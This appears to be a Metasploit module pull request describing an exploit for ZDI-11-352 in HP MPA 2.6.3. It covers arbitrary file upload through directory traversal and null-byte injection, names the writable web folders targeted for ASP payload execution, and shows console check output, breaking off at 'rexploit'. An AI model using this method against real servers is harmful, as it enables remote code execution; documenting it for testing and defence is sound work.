Add module for ZDI-11-352

Tested on HP MPA 2.6.3 on Windows XP SP3 and Windows 2003 SP2.

Through traversal directory and null byte injection is possible to upload arbitrary files.

Limitations: The file cannot exist previously (overwrite not allowed). The file is uploaded with IIS Guest Account (IUSR_*). 

Exploit Vector: Upload and execute payload through ASP code. But a WEBFOLDER where ASP is allowed to run and write permissions for IUSR_* is needed. 

In order to work properly the HP MPA application will ask for IUSR_* Write permissions on some web folders, where server side code is allowed by default:

			"/hpmpa/userfiles/images/printers/",
			"/hpmpa/userfiles/images/backgrounds/",
			"/hpmpa/userfiles/images/",
			"/hpmpa/userfiles/"

Exploit will try to upload the ASP code to these locations. The user can specify also a WEB folder (from wwwroot) where hopefully write permissions for IUSR_* are allowed.

* Check vulnerable targets:

```
msf exploit(hp_mpa_job_acct) > set VERBOSE true
VERBOSE => true
msf exploit(hp_mpa_job_acct) > check

[*] HP MPA Version Detected: 2.6.3
[*] The target appears to be vulnerable.

```

* Exploit failing when there aren't write permissions on the default web paths:

```
msf exploit(hp_mpa_job_acct) > rexploit
